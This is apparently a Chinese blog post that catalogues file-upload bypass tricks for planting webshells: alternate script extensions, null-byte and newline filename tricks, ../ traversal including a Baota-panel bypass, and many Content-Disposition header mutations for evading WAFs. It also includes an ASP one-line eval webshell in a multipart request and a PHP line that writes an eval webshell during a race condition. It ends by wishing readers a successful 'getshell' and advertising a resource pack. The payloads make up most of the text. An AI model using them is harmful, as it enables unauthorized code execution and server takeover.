【黑客技术】文件上传绕过小技巧总结,网络安全零基础入门到精通教程!

前言

今天给大家总结一下自己在遇到文件上传时遇到的问题,以及可以尝试的方法

部分手法参考各位师傅,在这一并做一个总结,谢谢各位师傅分享。

写的有点乱,各位师傅见谅~~~

服务端的检测与绕过方法

  1. 浏览器检测,直接关闭浏览器JavaScript检查、或者上传正常文件抓包即可。

  2. 后端服务器校验

后缀名检测绕过
MIME类型检测与绕过
文件内容检测与绕过
00截断绕过
条件竞争检测与绕过

MIME编码

https://mp.weixin.qq.com/s/COLw_Edxst-lZsi8MhL6kA

(注意,这里说的MIME编码可不是将Content-Type修改为image/png等类似的方式进行绕过的,这种方式修改的是MIME type。而我们今天所说的是MIME编码。)

我给大家准备了一份全套的《网络安全入门+进阶学习资源包》包含各种常用工具和黑客技术电子书以及视频教程,需要的小伙伴可以扫描下方二维码或链接免费领取~

Multipurpose Internet Mail Extensions (MIME) ,通常也称为多用途互联网邮件扩展,从字面意思可以看出,它的出现是为了扩展了电子邮件的格式,支持 ASCII 字符集以外二进制数据(例如图像、音频、视频或其他文件)转换为文本数据,以便能够安全地传输和处理。从commons-fileupload库版本 1.3 开始,FileUpload 可以处理 RFC 2047编码的标头值。

取=后的两个两个十六进制数字,并将其转换为ascii码值对应的字符。
所以MIME编码的格式为=?charset?encoding?encoded text?=

下面是对这个格式的详细解释:

=?:编码的起始标记,表示编码的开始。
charset:表示字符集,即非ASCII字符所使用的字符编码集。这通常是一个标识字符集的文本字符串,例如UTF-8或ISO-8859-1。
encoding:表示编码方式,即用于将字符编码为ASCII字符的具体方法。常见的编码方式包括"Q"和"B"。
"Q"表示Quoted-Printable编码,它将非ASCII字符编码为"="后跟两个十六进制数字的形式。
"B"表示Base64编码,它将数据编码为一系列ASCII字符。
encoded text:是实际编码后的文本,即包含非ASCII字符的原始文本的编码版本。
?=:编码的结束标记,表示编码的结束。

举例:

将shell.jsp通过Quoted-Printable编码方式为
=?utf-8?Q?=73=68=65=6c=6c=2e=6a=73=70?=
将shell.jsp通过Base64编码方式为=?utf-8?B?c2hlbGwuanNw?=

文件上传常见问题

文件上传不回显

确认上传成功之后,遍历目录+上传文件名,文件名不变的情况` `查看存在的图片地址,优先遍历

以上寻找文件的方法需要的前提:文件名不变,字典路径足够多

1.目录没有执行权限(通过控制文件名进行../../跳目录,跳到可以执行脚本语言的目录)
2.上传文件找不到路径(通过控制文件名进行../../跳目录,层级跳到根目录进行访问)
3.上传白名单截断 (有些文件上传处是白名单,后缀名不可以绕,可以利用控制文件名截断的方式去绕过白名单,例如1.jsp%00.jpg)

截断文件前置名

利用跳目录

因为文件名可以控制,我们就可以利用../跳目录的方式去截断代码本身给添加的前置名
举例:
上传1.txt,代码会自动添加xxxx_xxxx_20_1.txt
这里的利用思路就是上传配合解析的配置文件,例如上传.htaccess配合解析,当然这里实战应用的场景还有很多,只是提供一个思路

Content-Disposition: form-data; name="url"; filename="///\..\..\111.txt"

绕过宝塔限制(看具体情况)

  • 宝塔限制的规则是../../这种目录穿越,但是宝塔没有限制.././../这种目录穿越,所以我们可以使用.././../来绕过宝塔的限制

  • 用…/1.png 可以穿

黑名单绕过:不同脚本语言支持的解析后缀

黑名单简单来说就是目标程序规定了哪些文件不能上传,这里是常用的一些后缀

PHP脚本后缀绕过
.php 
.php2 
.php3 
.php4 
.php5 
.php6 
.php7 
.phps 
.phps 
.pht 
.phtm 
.phtml 
.pgif 
.shtml 
.htaccess 
.phar 
.inc 
.hphp 
.ctp 
.module
ASP 脚本后缀绕过
 .asp 
 .aspx 
 .config 
 .ashx 
 .asmx 
 .aspq 
 .axd 
 .cshtm 
 .cshtml 
 .rem 
 .soap 
 .vbhtm 
 .vbhtml 
 .asa 
 .cer 
 .shtml
Jsp 脚本后缀绕过
 .jsp 
 .jspx 
 .jsw 
 .jsv 
 .jspf
 Coldfusion:.cfm   .cfml   .cfc  .dbm 
 Perl:.pl       .cgi 
 随机大小写变换:.pHp  .pHP5   .PhAr

白名单绕过:针对安全设备检测后缀的形式进行绕过

白名单简单来说就是目标程序规定了能上传的后缀名

这里以php为例,其他的类似

file.png.php 
file.png.Php5 
file.php%20 
file.php%0a 
file.php%00 
file.php%0d%0a 
file.php/ 
file.php.\ 
file. 
file.php.... 
file.pHp5.... 
file.png.php 
file.png.pHp5 
file.php#.png 
file.php%00.png 
file.php\x00.png 
file.php%0a.png 
file.php%0d%0a.png 
file.phpJunk123png 
file.png.jpg.php 
file.php%00.png%00.jpg

条件竞争

可以利用上传时候的代码执行的需要一定的时间,加大客户端请求时候的并发,造成文件上传时候条件竞争。
准备好webshell,这个webshell的功能要能写一个大马到webapp根目录下,然后我们访问这个大马。
先开两个intruder,然后请求上传的文件的并发开到100。
访问大马的地址,检查是否创建成功。

文件上传 waf绕过

https://mp.weixin.qq.com/s/BLjfhMNkiTuSiIB9ZKAb2Q
https://mp.weixin.qq.com/s/FW93imGul0kNxbi2RhXBfA

(1)通过filename换行来绕过检测

第一种: 
Content-Disposition: form-data; name="file"; filename="1.p hp" 
第二种: 
Content-Disposition: form-data; name="file"; file name="1.php" 
第三种: 
Content-Disposition: form-data; name="file"; filename= "1.php" 
三种均可

使用多个等号绕过检测

Content-Disposition: form-data; name="file"; filename==="a.php"

增大文件大小,类似于sql注入的大量垃圾字符绕waf检测

 Content-Disposition: form-data; aaaaaaaaaaaaaaaaaaaaa......aaaaaaaaaaaaaaaaaaaaa;name="file"; filename="a.php"

去掉双引号或替换为单引号绕过waf

第一种: 
Content-Disposition: form-data; name=file1; filename=a.php 
第二种: 
Content-Disposition: form-data; name='file1'; filename="a.php"

有些只检测第一个firename,可以增加filename干扰拦截

 Content-Disposition: form-data; name="file"; filename= ; filename="a.php"

混淆waf匹配字段 混淆form-data

 Content-Disposition: name="file"; filename="a.php" 
 去除form-data
 
 Content-Disposition: AAAAAAAA="BBBBBBBB"; name="file"; filename="a.php" 
 替换form-data为垃圾值
 
 Content-Disposition: form-data   ; name="file"; filename="a.php" 
 form-data后加空格
 
 Content-Disposition: for+m-data; name="file"; filename="a.php" 
 form-data中加+

混淆 ConTent-Disposition

COntEnT-DIsposiTiOn: form-data; name="file"; filename="a.php" 
大小写混淆

Content-Type: image/gif 
Content-Disposition: form-data; name="file"; filename="a.php" 
调换Content-Type和ConTent-Disposition的顺序

Content-Type: image/gif 
Content-Disposition: form-data; name="file"; filename="a.php" 
Content-Type: image/gif 
增加额外的头

AAAAAAAA:filename="aaa.jpg"; 
Content-Disposition: form-data; name="file"; filename="a.php" 
Content-Type: image/gif 
增加额外的头

Content-Length: 666 
Content-Disposition: form-data; name="file"; filename="a.php" 
Content-Type: image/gif 
增加额外的头

双文件绕过,例如安全狗总以最后一个Content-Disposition中的值作为接收参数进行检测,一些中间件例如IIS6.0总是以第一个Content-Disposition中的值作为接收参数。

容器与WAF对Boundary要求规则不一致

Content-Type: multipart/form-data; boundary=---------------------------471****1141173****525****99 
Content-Length: 253 -----------------------------471****1141173****525****99 Content-Disposition: form-data; name="file1"; filename="shell.asp" Content-Type: application/octet-stream <%eval request("a")%> -----------------------------471****1141173****525****99--

条件竞争,一些情况下在上传文件时,先上传到临时目录,然后再检测,检测到再删除,例如:可以上传生成一句话木马的文件

 fputs(fopen('shell6666.php','w'),'<?php @eval($_POST[1])?>');

上传同时疯狂重复发包访问此文件,就有可能会在文件被删除之前生成webshell文件a.php

结束语

祝大家都能一把梭哈,成功getshell

在这里插入图片描述

网络安全学习资源分享:

给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,请看下方扫描即可前往获取

👉1.成长路线图&学习规划👈

要学习一门新的技术,作为新手一定要先学习成长路线图,方向不对,努力白费

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

在这里插入图片描述
在这里插入图片描述

👉2.网安入门到进阶视频教程👈

很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。(全套教程扫描领取哈)
在这里插入图片描述
在这里插入图片描述

👉3.SRC&黑客文档👈

大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录

SRC技术文籍:
在这里插入图片描述
黑客资料由于是敏感资源,这里不能直接展示哦! (全套教程扫描领取哈)

👉4.护网行动资料👈

其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!
在这里插入图片描述

👉5.黑客必读书单👈

在这里插入图片描述

👉6.网络安全岗面试题合集👈

当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。
在这里插入图片描述

所有资料共282G,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,可以扫描下方二维码或链接免费领取~

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值